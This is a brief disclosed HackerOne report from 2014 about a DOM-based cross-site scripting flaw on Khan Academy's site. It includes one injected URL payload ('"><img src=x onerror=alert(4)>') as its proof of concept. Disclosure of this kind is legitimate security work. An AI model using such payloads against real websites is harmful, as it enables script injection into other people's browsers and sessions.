Khan Academy · Report #6352

Dom based XSS https://www.khanacademy.org/

Validstatus

4upvotes

9 Apr 2014disclosed

How it was found

Hi.

I found a XSS located here : https://www.khanacademy.org/profile/LOL/discussion/comments"><img src=x onerror=alert(4)>

Best regards,

Olivier Beg

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original